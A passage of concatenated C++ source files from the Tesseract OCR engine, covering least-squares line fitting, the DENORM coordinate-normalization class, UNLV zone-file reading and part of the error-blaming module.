CRACKEDGE *next; /*next point */
};
#endif
| C++ |
/**********************************************************************
* File: linlsq.h (Formerly llsq.h)
* Description: Linear Least squares fitting code.
* Author: Ray Smith
* Created: Thu Sep 12 08:44:51 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef TESSERACT_CCSTRUCT_LINLSQ_H_
#define TESSERACT_CCSTRUCT_LINLSQ_H_
#include "points.h"
#include "params.h"
class LLSQ {
public:
LLSQ() { // constructor
clear(); // set to zeros
}
void clear(); // initialize
// Adds an element with a weight of 1.
void add(double x, double y);
// Adds an element with a specified weight.
void add(double x, double y, double weight);
// Adds a whole LLSQ.
void add(const LLSQ& other);
// Deletes an element with a weight of 1.
void remove(double x, double y);
inT32 count() const { // no of elements
return static_cast<int>(total_weight + 0.5);
}
double m() const; // get gradient
double c(double m) const; // get constant
double rms(double m, double c) const; // get error
double pearson() const; // get correlation coefficient.
// Returns the x,y means as an FCOORD.
FCOORD mean_point() const;
// Returns the average sum of squared perpendicular error from a line
// through mean_point() in the direction dir.
double rms_orth(const FCOORD &dir) const;
// Returns the direction of the fitted line as a unit vector, using the
// least mean squared perpendicular distance. The line runs through the
// mean_point, i.e. a point p on the line is given by:
// p = mean_point() + lambda * vector_fit() for some real number lambda.
// Note that the result (0<=x<=1, -1<=y<=-1) is directionally ambiguous
// and may be negated without changing its meaning, since a line is only
// unique to a range of pi radians.
// Modernists prefer to think of this as an Eigenvalue problem, but
// Pearson had the simple solution in 1901.
//
// Note that this is equivalent to returning the Principal Component in PCA,
// or the eigenvector corresponding to the largest eigenvalue in the
// covariance matrix.
FCOORD vector_fit() const;
// Returns the covariance.
double covariance() const {
if (total_weight > 0.0)
return (sigxy - sigx * sigy / total_weight) / total_weight;
else
return 0.0;
}
double x_variance() const {
if (total_weight > 0.0)
return (sigxx - sigx * sigx / total_weight) / total_weight;
else
return 0.0;
}
double y_variance() const {
if (total_weight > 0.0)
return (sigyy - sigy * sigy / total_weight) / total_weight;
else
return 0.0;
}
private:
double total_weight; // no of elements or sum of weights.
double sigx; // sum of x
double sigy; // sum of y
double sigxx; // sum x squared
double sigxy; // sum of xy
double sigyy; // sum y squared
};
// Returns the median value of the vector, given that the values are
// circular, with the given modulus. Values may be signed or unsigned,
// eg range from -pi to pi (modulus 2pi) or from 0 to 2pi (modulus 2pi).
// NOTE that the array is shuffled, but the time taken is linear.
// An assumption is made that most of the values are spread over no more than
// half the range, but wrap-around is accounted for if the median is near
// the wrap-around point.
// Cannot be a member of GenericVector, as it makes heavy used of LLSQ.
// T must be an integer or float/double type.
template<typename T> T MedianOfCircularValues(T modulus, GenericVector<T>* v) {
LLSQ stats;
T halfrange = static_cast<T>(modulus / 2);
int num_elements = v->size();
for (int i = 0; i < num_elements; ++i) {
stats.add((*v)[i], (*v)[i] + halfrange);
}
bool offset_needed = stats.y_variance() < stats.x_variance();
if (offset_needed) {
for (int i = 0; i < num_elements; ++i) {
(*v)[i] += halfrange;
}
}
int median_index = v->choose_nth_item(num_elements / 2);
if (offset_needed) {
for (int i = 0; i < num_elements; ++i) {
(*v)[i] -= halfrange;
}
}
return (*v)[median_index];
}
#endif // TESSERACT_CCSTRUCT_LINLSQ_H_
| C++ |
/**********************************************************************
* File: normalis.h (Formerly denorm.h)
* Description: Code for the DENORM class.
* Author: Ray Smith
* Created: Thu Apr 23 09:22:43 BST 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef NORMALIS_H
#define NORMALIS_H
#include <stdio.h>
#include "genericvector.h"
#include "host.h"
const int kBlnCellHeight = 256; // Full-height for baseline normalization.
const int kBlnXHeight = 128; // x-height for baseline normalization.
const int kBlnBaselineOffset = 64; // offset for baseline normalization.
struct Pix;
class ROW; // Forward decl
class BLOCK;
class FCOORD;
struct TBLOB;
class TBOX;
struct TPOINT;
class UNICHARSET;
namespace tesseract {
// Possible normalization methods. Use NEGATIVE values as these also
// double up as markers for the last sub-classifier.
enum NormalizationMode {
NM_BASELINE = -3, // The original BL normalization mode.
NM_CHAR_ISOTROPIC = -2, // Character normalization but isotropic.
NM_CHAR_ANISOTROPIC = -1 // The original CN normalization mode.
};
} // namespace tesseract.
class DENORM {
public:
DENORM();
// Copying a DENORM is allowed.
DENORM(const DENORM &);
DENORM& operator=(const DENORM&);
~DENORM();
// Setup the normalization transformation parameters.
// The normalizations applied to a blob are as follows:
// 1. An optional block layout rotation that was applied during layout
// analysis to make the textlines horizontal.
// 2. A normalization transformation (LocalNormTransform):
// Subtract the "origin"
// Apply an x,y scaling.
// Apply an optional rotation.
// Add back a final translation.
// The origin is in the block-rotated space, and is usually something like
// the x-middle of the word at the baseline.
// 3. Zero or more further normalization transformations that are applied
// in sequence, with a similar pattern to the first normalization transform.
//
// A DENORM holds the parameters of a single normalization, and can execute
// both the LocalNormTransform (a forwards normalization), and the
// LocalDenormTransform which is an inverse transform or de-normalization.
// A DENORM may point to a predecessor DENORM, which is actually the earlier
// normalization, so the full normalization sequence involves executing all
// predecessors first and then the transform in "this".
// Let x be image co-ordinates and that we have normalization classes A, B, C
// where we first apply A then B then C to get normalized x':
// x' = CBAx
// Then the backwards (to original coordinates) would be:
// x = A^-1 B^-1 C^-1 x'
// and A = B->predecessor_ and B = C->predecessor_
// NormTransform executes all predecessors recursively, and then this.
// NormTransform would be used to transform an image-based feature to
// normalized space for use in a classifier
// DenormTransform inverts this and then all predecessors. It can be
// used to get back to the original image coordinates from normalized space.
// The LocalNormTransform member executes just the transformation
// in "this" without the layout rotation or any predecessors. It would be
// used to run each successive normalization, eg the word normalization,
// and later the character normalization.
// Arguments:
// block: if not NULL, then this is the first transformation, and
// block->re_rotation() needs to be used after the Denorm
// transformation to get back to the image coords.
// rotation: if not NULL, apply this rotation after translation to the
// origin and scaling. (Usually a classify rotation.)
// predecessor: if not NULL, then predecessor has been applied to the
// input space and needs to be undone to complete the inverse.
// The above pointers are not owned by this DENORM and are assumed to live
// longer than this denorm, except rotation, which is deep copied on input.
//
// x_origin: The x origin which will be mapped to final_xshift in the result.
// y_origin: The y origin which will be mapped to final_yshift in the result.
// Added to result of row->baseline(x) if not NULL.
//
// x_scale: scale factor for the x-coordinate.
// y_scale: scale factor for the y-coordinate. Ignored if segs is given.
// Note that these scale factors apply to the same x and y system as the
// x-origin and y-origin apply, ie after any block rotation, but before
// the rotation argument is applied.
//
// final_xshift: The x component of the final translation.
// final_yshift: The y component of the final translation.
//
// In theory, any of the commonly used normalizations can be setup here:
// * Traditional baseline normalization on a word:
// SetupNormalization(block, NULL, NULL,
// box.x_middle(), baseline,
// kBlnXHeight / x_height, kBlnXHeight / x_height,
// 0, kBlnBaselineOffset);
// * "Numeric mode" baseline normalization on a word, in which the blobs
// are positioned with the bottom as the baseline is achieved by making
// a separate DENORM for each blob.
// SetupNormalization(block, NULL, NULL,
// box.x_middle(), box.bottom(),
// kBlnXHeight / x_height, kBlnXHeight / x_height,
// 0, kBlnBaselineOffset);
// * Anisotropic character normalization used by IntFx.
// SetupNormalization(NULL, NULL, denorm,
// centroid_x, centroid_y,
// 51.2 / ry, 51.2 / rx, 128, 128);
// * Normalize blob height to x-height (current OSD):
// SetupNormalization(NULL, &rotation, NULL,
// box.rotational_x_middle(rotation),
// box.rotational_y_middle(rotation),
// kBlnXHeight / box.rotational_height(rotation),
// kBlnXHeight / box.rotational_height(rotation),
// 0, kBlnBaselineOffset);
// * Secondary normalization for classification rotation (current):
// FCOORD rotation = block->classify_rotation();
// float target_height = kBlnXHeight / CCStruct::kXHeightCapRatio;
// SetupNormalization(NULL, &rotation, denorm,
// box.rotational_x_middle(rotation),
// box.rotational_y_middle(rotation),
// target_height / box.rotational_height(rotation),
// target_height / box.rotational_height(rotation),
// 0, kBlnBaselineOffset);
// * Proposed new normalizations for CJK: Between them there is then
// no need for further normalization at all, and the character fills the cell.
// ** Replacement for baseline normalization on a word:
// Scales height and width independently so that modal height and pitch
// fill the cell respectively.
// float cap_height = x_height / CCStruct::kXHeightCapRatio;
// SetupNormalization(block, NULL, NULL,
// box.x_middle(), cap_height / 2.0f,
// kBlnCellHeight / fixed_pitch,
// kBlnCellHeight / cap_height,
// 0, 0);
// ** Secondary normalization for classification (with rotation) (proposed):
// Requires a simple translation to the center of the appropriate character
// cell, no further scaling and a simple rotation (or nothing) about the
// cell center.
// FCOORD rotation = block->classify_rotation();
// SetupNormalization(NULL, &rotation, denorm,
// fixed_pitch_cell_center,
// 0.0f,
// 1.0f,
// 1.0f,
// 0, 0);
void SetupNormalization(const BLOCK* block,
const FCOORD* rotation,
const DENORM* predecessor,
float x_origin, float y_origin,
float x_scale, float y_scale,
float final_xshift, float final_yshift);
// Sets up the DENORM to execute a non-linear transformation based on
// preserving an even distribution of stroke edges. The transformation
// operates only within the given box, scaling input coords within the box
// non-linearly to a box of target_width by target_height, with all other
// coords being clipped to the box edge. As with SetupNormalization above,
// final_xshift and final_yshift are applied after scaling, and the bottom-
// left of box is used as a pre-scaling origin.
// x_coords is a collection of the x-coords of vertical edges for each
// y-coord starting at box.bottom().
// y_coords is a collection of the y-coords of horizontal edges for each
// x-coord starting at box.left().
// Eg x_coords[0] is a collection of the x-coords of edges at y=bottom.
// Eg x_coords[1] is a collection of the x-coords of edges at y=bottom + 1.
// The second-level vectors must all be sorted in ascending order.
void SetupNonLinear(const DENORM* predecessor, const TBOX& box,
float target_width, float target_height,
float final_xshift, float final_yshift,
const GenericVector<GenericVector<int> >& x_coords,
const GenericVector<GenericVector<int> >& y_coords);
// Transforms the given coords one step forward to normalized space, without
// using any block rotation or predecessor.
void LocalNormTransform(const TPOINT& pt, TPOINT* transformed) const;
void LocalNormTransform(const FCOORD& pt, FCOORD* transformed) const;
// Transforms the given coords forward to normalized space using the
// full transformation sequence defined by the block rotation, the
// predecessors, deepest first, and finally this. If first_norm is not NULL,
// then the first and deepest transformation used is first_norm, ending
// with this, and the block rotation will not be applied.
void NormTransform(const DENORM* first_norm, const TPOINT& pt,
TPOINT* transformed) const;
void NormTransform(const DENORM* first_norm, const FCOORD& pt,
FCOORD* transformed) const;
// Transforms the given coords one step back to source space, without
// using to any block rotation or predecessor.
void LocalDenormTransform(const TPOINT& pt, TPOINT* original) const;
void LocalDenormTransform(const FCOORD& pt, FCOORD* original) const;
// Transforms the given coords all the way back to source image space using
// the full transformation sequence defined by this and its predecesors
// recursively, shallowest first, and finally any block re_rotation.
// If last_denorm is not NULL, then the last transformation used will
// be last_denorm, and the block re_rotation will never be executed.
void DenormTransform(const DENORM* last_denorm, const TPOINT& pt,
TPOINT* original) const;
void DenormTransform(const DENORM* last_denorm, const FCOORD& pt,
FCOORD* original) const;
// Normalize a blob using blob transformations. Less accurate, but
// more accurately copies the old way.
void LocalNormBlob(TBLOB* blob) const;
// Fills in the x-height range accepted by the given unichar_id in blob
// coordinates, given its bounding box in the usual baseline-normalized
// coordinates, with some initial crude x-height estimate (such as word
// size) and this denoting the transformation that was used.
// Also returns the amount the character must have shifted up or down.
void XHeightRange(int unichar_id, const UNICHARSET& unicharset,
const TBOX& bbox,
float* min_xht,
float* max_xht,
float* yshift) const;
// Prints the content of the DENORM for debug purposes.
void Print() const;
Pix* pix() const {
return pix_;
}
void set_pix(Pix* pix) {
pix_ = pix;
}
bool inverse() const {
return inverse_;
}
void set_inverse(bool value) {
inverse_ = value;
}
const DENORM* RootDenorm() const {
if (predecessor_ != NULL)
return predecessor_->RootDenorm();
return this;
}
const DENORM* predecessor() const {
return predecessor_;
}
// Accessors - perhaps should not be needed.
float x_scale() const {
return x_scale_;
}
float y_scale() const {
return y_scale_;
}
const BLOCK* block() const {
return block_;
}
void set_block(const BLOCK* block) {
block_ = block;
}
private:
// Free allocated memory and clear pointers.
void Clear();
// Setup default values.
void Init();
// Best available image.
Pix* pix_;
// True if the source image is white-on-black.
bool inverse_;
// Block the word came from. If not null, block->re_rotation() takes the
// "untransformed" coordinates even further back to the original image.
// Used only on the first DENORM in a chain.
const BLOCK* block_;
// Rotation to apply between translation to the origin and scaling.
const FCOORD* rotation_;
// Previous transformation in a chain.
const DENORM* predecessor_;
// Non-linear transformation maps directly from each integer offset from the
// origin to the corresponding x-coord. Owned by the DENORM.
GenericVector<float>* x_map_;
// Non-linear transformation maps directly from each integer offset from the
// origin to the corresponding y-coord. Owned by the DENORM.
GenericVector<float>* y_map_;
// x-coordinate to be mapped to final_xshift_ in the result.
float x_origin_;
// y-coordinate to be mapped to final_yshift_ in the result.
float y_origin_;
// Scale factors for x and y coords. Applied to pre-rotation system.
float x_scale_;
float y_scale_;
// Destination coords of the x_origin_ and y_origin_.
float final_xshift_;
float final_yshift_;
};
#endif
| C++ |
/**********************************************************************
* File: blread.cpp (Formerly pdread.c)
* Description: Friend function of BLOCK to read the uscan pd file.
* Author: Ray Smith
* Created: Mon Mar 18 14:39:00 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <stdlib.h>
#ifdef __UNIX__
#include <assert.h>
#endif
#include "scanutils.h"
#include "fileerr.h"
#include "blread.h"
#define UNLV_EXT ".uzn" // unlv zone file
/**********************************************************************
* read_unlv_file
*
* Read a whole unlv zone file to make a list of blocks.
**********************************************************************/
bool read_unlv_file( //print list of sides
STRING name, //basename of file
inT32 xsize, //image size
inT32 ysize, //image size
BLOCK_LIST *blocks //output list
) {
FILE *pdfp; //file pointer
BLOCK *block; //current block
int x; //current top-down coords
int y;
int width; //of current block
int height;
BLOCK_IT block_it = blocks; //block iterator
name += UNLV_EXT; //add extension
if ((pdfp = fopen (name.string (), "rb")) == NULL) {
return false; //didn't read one
} else {
while (tfscanf(pdfp, "%d %d %d %d %*s", &x, &y, &width, &height) >= 4) {
//make rect block
block = new BLOCK (name.string (), TRUE, 0, 0,
(inT16) x, (inT16) (ysize - y - height),
(inT16) (x + width), (inT16) (ysize - y));
//on end of list
block_it.add_to_end (block);
}
fclose(pdfp);
}
return true;
}
void FullPageBlock(int width, int height, BLOCK_LIST *blocks) {
BLOCK_IT block_it(blocks);
BLOCK* block = new BLOCK("", TRUE, 0, 0, 0, 0, width, height);
block_it.add_to_end(block);
}
| C++ |
///////////////////////////////////////////////////////////////////////
// File: ccstruct.h
// Description: ccstruct class.
// Author: Samuel Charron
//
// (C) Copyright 2006, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#ifndef TESSERACT_CCSTRUCT_CCSTRUCT_H__
#define TESSERACT_CCSTRUCT_CCSTRUCT_H__
#include "cutil.h"
namespace tesseract {
class CCStruct : public CUtil {
public:
CCStruct();
~CCStruct();
// Globally accessible constants.
// APPROXIMATIONS of the fractions of the character cell taken by
// the descenders, ascenders, and x-height.
static const double kDescenderFraction; // = 0.25;
static const double kXHeightFraction; // = 0.5;
static const double kAscenderFraction; // = 0.25;
// Derived value giving the x-height as a fraction of cap-height.
static const double kXHeightCapRatio; // = XHeight/(XHeight + Ascender).
};
class Tesseract;
} // namespace tesseract
#endif // TESSERACT_CCSTRUCT_CCSTRUCT_H__
| C++ |
///////////////////////////////////////////////////////////////////////
// File: blamer.cpp
// Description: Module allowing precise error causes to be allocated.
// Author: Rike Antonova
// Refactored: Ray Smith
// Created: Mon Feb 04 14:37:01 PST 2013
//
// (C) Copyright 2013, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#include "blamer.h"
#include "blobs.h"
#include "matrix.h"
#include "normalis.h"
#include "pageres.h"
// Names for each value of IncorrectResultReason enum. Keep in sync.
const char kBlameCorrect[] = "corr";
const char kBlameClassifier[] = "cl";
const char kBlameChopper[] = "chop";
const char kBlameClassLMTradeoff[] = "cl/LM";
const char kBlamePageLayout[] = "pglt";
const char kBlameSegsearchHeur[] = "ss_heur";
const char kBlameSegsearchPP[] = "ss_pp";
const char kBlameClassOldLMTradeoff[] = "cl/old_LM";
const char kBlameAdaption[] = "adapt";
const char kBlameNoTruthSplit[] = "no_tr_spl";
const char kBlameNoTruth[] = "no_tr";
const char kBlameUnknown[] = "unkn";
const char * const kIncorrectResultReasonNames[] = {
kBlameCorrect,
kBlameClassifier,
kBlameChopper,
kBlameClassLMTradeoff,
kBlamePageLayout,
kBlameSegsearchHeur,
kBlameSegsearchPP,
kBlameClassOldLMTradeoff,
kBlameAdaption,
kBlameNoTruthSplit,
kBlameNoTruth,
kBlameUnknown
};
const char *BlamerBundle::IncorrectReasonName(IncorrectResultReason irr) {
return kIncorrectResultReasonNames[irr];
}
const char *BlamerBundle::IncorrectReason() const {
return kIncorrectResultReasonNames[incorrect_result_reason_];
}
// Functions to setup the blamer.
// Whole word string, whole word bounding box.
void BlamerBundle::SetWordTruth(const UNICHARSET& unicharset,
const char* truth_str, const TBOX& word_box) {
truth_word_.InsertBox(0, word_box);
truth_has_char_boxes_ = false;
// Encode the string as UNICHAR_IDs.
GenericVector<UNICHAR_ID> encoding;
GenericVector<char> lengths;
unicharset.encode_string(truth_str, false, &encoding, &lengths, NULL);
int total_length = 0;
for (int i = 0; i < encoding.size(); total_length += lengths[i++]) {
STRING uch(truth_str + total_length);
uch.truncate_at(lengths[i] - total_length);
UNICHAR_ID id = encoding[i];
if (id != INVALID_UNICHAR_ID) uch = unicharset.get_normed_unichar(id);
truth_text_.push_back(uch);
}
}
// Single "character" string, "character" bounding box.
// May be called multiple times to indicate the characters in a word.
void BlamerBundle::SetSymbolTruth(const UNICHARSET& unicharset,
const char* char_str, const TBOX& char_box) {
STRING symbol_str(char_str);
UNICHAR_ID id = unicharset.unichar_to_id(char_str);
if (id != INVALID_UNICHAR_ID) {
STRING normed_uch(unicharset.get_normed_unichar(id));
if (normed_uch.length() > 0) symbol_str = normed_uch;
}
int length = truth_word_.length();
truth_text_.push_back(symbol_str);
truth_word_.InsertBox(length, char_box);
if (length == 0)
truth_has_char_boxes_ = true;
else if (truth_word_.BlobBox(length - 1) == char_box)
truth_has_char_boxes_ = false;
}
// Marks that there is something wrong with the truth text, like it contains
// reject characters.
void BlamerBundle::SetRejectedTruth() {
incorrect_result_reason_ = IRR_NO_TRUTH;
truth_has_char_boxes_ = false;
}
// Returns true if the provided word_choice is correct.
bool BlamerBundle::ChoiceIsCorrect(const WERD_CHOICE* word_choice) const {
if (word_choice == NULL) return false;
const UNICHARSET* uni_set = word_choice->unicharset();
STRING normed_choice_str;
for (int i = 0; i < word_choice->length(); ++i) {
normed_choice_str +=
uni_set->get_normed_unichar(word_choice->unichar_id(i));
}
STRING truth_str = TruthString();
return truth_str == normed_choice_str;
}
void BlamerBundle::FillDebugString(const STRING &msg,
const WERD_CHOICE *choice,
STRING *debug) {
(*debug) += "Truth ";
for (int i = 0; i < this->truth_text_.length(); ++i) {
(*debug) += this->truth_text_[i];
}
if (!this->truth_has_char_boxes_) (*debug) += " (no char boxes)";
if (choice != NULL) {
(*debug) += " Choice ";
STRING choice_str;
choice->string_and_lengths(&choice_str, NULL);
(*debug) += choice_str;
}
if (msg.length() > 0) {
(*debug) += "\n";
(*debug) += msg;
}
(*debug) += "\n";
}
// Sets up the norm_truth_word from truth_word using the given DENORM.
void BlamerBundle::SetupNormTruthWord(const DENORM& denorm) {
// TODO(rays) Is this the last use of denorm in WERD_RES and can it go?
norm_box_tolerance_ = kBlamerBoxTolerance * denorm.x_scale();
TPOINT topleft;
TPOINT botright;
TPOINT norm_topleft;
TPOINT norm_botright;
for (int b = 0; b < truth_word_.length(); ++b) {
const TBOX &box = truth_word_.BlobBox(b);
topleft.x = box.left();
topleft.y = box.top();
botright.x = box.right();
botright.y = box.bottom();
denorm.NormTransform(NULL, topleft, &norm_topleft);
denorm.NormTransform(NULL, botright, &norm_botright);
TBOX norm_box(norm_topleft.x, norm_botright.y,
norm_botright.x, norm_topleft.y);
norm_truth_word_.InsertBox(b, norm_box);
}
}
// Splits *this into two pieces in bundle1 and bundle2 (preallocated, empty
// bundles) where the right edge/ of the left-hand word is word1_right,
// and the left edge of the right-hand word is word2_left.
void BlamerBundle::SplitBundle(int word1_right, int word2_left, bool debug,
BlamerBundle* bundle1,
BlamerBundle* bundle2) const {
STRING debug_str;
// Find truth boxes that correspond to the split in the blobs.
int b;
int begin2_truth_index = -1;
if (incorrect_result_reason_ != IRR_NO_TRUTH &&
truth_has_char_boxes_) {
debug_str = "Looking for truth split at";
debug_str.add_str_int(" end1_x ", word1_right);
debug_str.add_str_int(" begin2_x ", word2_left);
debug_str += "\nnorm_truth_word boxes:\n";
if (norm_truth_word_.length() > 1) {
norm_truth_word_.BlobBox(0).print_to_str(&debug_str);
for (b = 1; b < norm_truth_word_.length(); ++b) {
norm_truth_word_.BlobBox(b).print_to_str(&debug_str);
if ((abs(word1_right - norm_truth_word_.BlobBox(b - 1).right()) <
norm_box_tolerance_) &&
(abs(word2_left - norm_truth_word_.BlobBox(b).left()) <
norm_box_tolerance_)) {
begin2_truth_index = b;
debug_str += "Split found";
break;
}
}
debug_str += '\n';
}
}
// Populate truth information in word and word2 with the first and second
// part of the original truth.
if (begin2_truth_index > 0) {
bundle1->truth_has_char_boxes_ = true;
bundle1->norm_box_tolerance_ = norm_box_tolerance_;
bundle2->truth_has_char_boxes_ = true;
bundle2->norm_box_tolerance_ = norm_box_tolerance_;
BlamerBundle *curr_bb = bundle1;
for (b = 0; b < norm_truth_word_.length(); ++b) {
if (b == begin2_truth_index) curr_bb = bundle2;
curr_bb->norm_truth_word_.InsertBox(b, norm_truth_word_.BlobBox(b));
curr_bb->truth_word_.InsertBox(b, truth_word_.BlobBox(b));
curr_bb->truth_text_.push_back(truth_text_[b]);
}
} else if (incorrect_result_reason_ == IRR_NO_TRUTH) {
bundle1->incorrect_result_reason_ = IRR_NO_TRUTH;
bundle2->incorrect_result_reason_ = IRR_NO_TRUTH;
} else {
debug_str += "Truth split not found";
debug_str += truth_has_char_boxes_ ?
"\n" : " (no truth char boxes)\n";
bundle1->SetBlame(IRR_NO_TRUTH_SPLIT, debug_str, NULL, debug);
bundle2->SetBlame(IRR_NO_TRUTH_SPLIT, debug_str, NULL, debug);
}
}
// "Joins" the blames from bundle1 and bundle2 into *this.
void BlamerBundle::JoinBlames(const BlamerBundle& bundle1,
const BlamerBundle& bundle2, bool debug) {
STRING debug_str;
IncorrectResultReason irr = incorrect_result_reason_;
if (irr != IRR_NO_TRUTH_SPLIT) debug_str = "";
if (bundle1.incorrect_result_reason_ != IRR_CORRECT &&
bundle1.incorrect_result_reason_ != IRR_NO_TRUTH &&
bundle1.incorrect_result_reason_ != IRR_NO_TRUTH_SPLIT) {
debug_str += "Blame from part 1: ";
debug_str += bundle1.debug_;
irr = bundle1.incorrect_result_reason_;
}
if (bundle2.incorrect_result_reason_ != IRR_CORRECT &&
bundle2.incorrect_result_reason_ != IRR_NO_TRUTH &&
bundle2.incorrect_result_reason_ != IRR_NO_TRUTH_SPLIT) {
debug_str += "Blame from part 2: ";
debug_str += bundle2.debug_;
if (irr == IRR_CORRECT) {
irr = bundle2.incorrect_result_reason_;
} else if (irr != bundle2.incorrect_result_reason_) {
irr = IRR_UNKNOWN;
}
}
incorrect_result_reason_ = irr;
if (irr != IRR_CORRECT && irr != IRR_NO_TRUTH) {
SetBlame(irr, debug_str, NULL, debug);
}
}
// If a blob with the same bounding box as one of the truth character
// bounding boxes is not classified as the corresponding truth character
// blames character classifier for incorrect answer.
void BlamerBundle::BlameClassifier(const UNICHARSET& unicharset,
const TBOX& blob_box,
const BLOB_CHOICE_LIST& choices,
bool debug) {
if (!truth_has_char_boxes_ ||
incorrect_result_reason_ != IRR_CORRECT)
return; // Nothing to do here.
for (int b = 0; b < norm_truth_word_.length(); ++b) {
const TBOX &truth_box = norm_truth_word_.BlobBox(b);
// Note that we are more strict on the bounding box boundaries here
// than in other places (chopper, segmentation search), since we do
// not have the ability to check the previous and next bounding box.
if (blob_box.x_almost_equal(truth_box, norm_box_tolerance_/2)) {
bool found = false;
bool incorrect_adapted = false;
UNICHAR_ID incorrect_adapted_id = INVALID_UNICHAR_ID;
const char *truth_str = truth_text_[b].string();
// We promise not to modify the list or its contents, using a
// const BLOB_CHOICE* below.
BLOB_CHOICE_IT choices_it(const_cast<BLOB_CHOICE_LIST*>(&choices));
for (choices_it.mark_cycle_pt(); !choices_it.cycled_list();
choices_it.forward()) {
const BLOB_CHOICE* choice = choices_it.data();
if (strcmp(truth_str, unicharset.get_normed_unichar(
choice->unichar_id())) == 0) {
found = true;
break;
} else if (choice->IsAdapted()) {
incorrect_adapted = true;
incorrect_adapted_id = choice->unichar_id();
}
} // end choices_it for loop
if (!found) {
STRING debug_str = "unichar ";
debug_str += truth_str;
debug_str += " not found in classification list";
SetBlame(IRR_CLASSIFIER, debug_str, NULL, debug);
} else if (incorrect_adapted) {
STRING debug_str = "better rating for adapted ";
debug_str += unicharset.id_to_unichar(incorrect_adapted_id);
debug_str += " than for correct ";
debug_str += truth_str;
SetBlame(IRR_ADAPTION, debug_str, NULL, debug);
}
break;
}
} // end iterating over blamer_bundle->norm_truth_word
}
// Checks whether chops were made at all the character bounding box
// boundaries in word->truth_word. If not - blames the chopper for an
// incorrect answer.
void BlamerBundle::SetChopperBlame(const WERD_RES* word, bool debug) {
if (NoTruth() || !truth_has_char_boxes_ ||
word->chopped_word->blobs.empty()) {
return;
}
STRING debug_str;
bool missing_chop = false;
int num_blobs = word->chopped_word->blobs.size();
int box_index = 0;
int blob_index = 0;
inT16 truth_x;
while (box_index < truth_word_.length() && blob_index < num_blobs) {
truth_x = norm_truth_word_.BlobBox(box_index).right();
TBLOB * curr_blob = word->chopped_word->blobs[blob_index];
if (curr_blob->bounding_box().right() < truth_x - norm_box_tolerance_) {
++blob_index;
continue; // encountered an extra chop, keep looking
} else if (curr_blob->bounding_box().right() >
truth_x + norm_box_tolerance_) {
missing_chop = true;
break;
} else {
++blob_index;
}
}
if (missing_chop || box_index < norm_truth_word_.length()) {
STRING debug_str;
if (missing_chop) {
debug_str.add_str_int("Detected missing chop (tolerance=",
norm_box_tolerance_);
debug_str += ") at Bounding Box=";
TBLOB * curr_blob = word->chopped_word->blobs[blob_index];
curr_blob->bounding_box().print_to_str(&debug_str);
debug_str.add_str_int("\nNo chop for truth at x=", truth_x);
} else {
debug_str.add_str_int("Missing chops for last ",
norm_truth_word_.length() - box_index);
debug_str += " truth box(es)";
}
debug_str += "\nMaximally chopped word boxes:\n";
for (blob_index = 0; blob_index < num_blobs; ++blob_index) {
TBLOB * curr_blob = word->chopped_word->blobs[blob_index];
curr_blob->bounding_box().print_to_str(&debug_str);
debug_str += '\n';
}
debug_str += "Truth bounding boxes:\n";
for (box_index = 0; box_index < norm_truth_word_.length(); ++box_index) {
norm_truth_word_.BlobBox(box_index).print_to_str(&debug_str);
debug_str += '\n';
}
SetBlame(IRR_CHOPPER, debug_str, word->best_choice, debug);
}
}
// Blames the classifier or the language model if, after running only the
// chopper, best_choice is incorrect and no blame has been yet set.
// Blames the classifier if best_choice is classifier's top choice and is a
// dictionary word (i.e. language model could not have helped).
// Otherwise, blames the language model (formerly permuter word adjustment).
void BlamerBundle::BlameClassifierOrLangModel(
const WERD_RES* word,
const UNICHARSET& unicharset, bool valid_permuter, bool debug) {
if (valid_permuter) {
// Find out whether best choice is a top choice.
best_choice_is_dict_and_top_choice_ = true;
for (int i = 0; i < word->best_choice->length(); ++i) {
BLOB_CHOICE_IT blob_choice_it(word->GetBlobChoices(i));
ASSERT_HOST(!blob_choice_it.empty());
BLOB_CHOICE *first_choice = NULL;
for (blob_choice_it.mark_cycle_pt(); !blob_choice_it.cycled_list();
blob_choice_it.forward()) { // find first non-fragment choice
if (!(unicharset.get_fragment(blob_choice_it.data()->unichar_id()))) {
first_choice = blob_choice_it.data();
break;
}
}
ASSERT_HOST(first_choice != NULL);
if (first_choice->unichar_id() != word->best_choice->unichar_id(i)) {
best_choice_is_dict_and_top_choice_ = false;
break;
}
}
}
STRING debug_str;
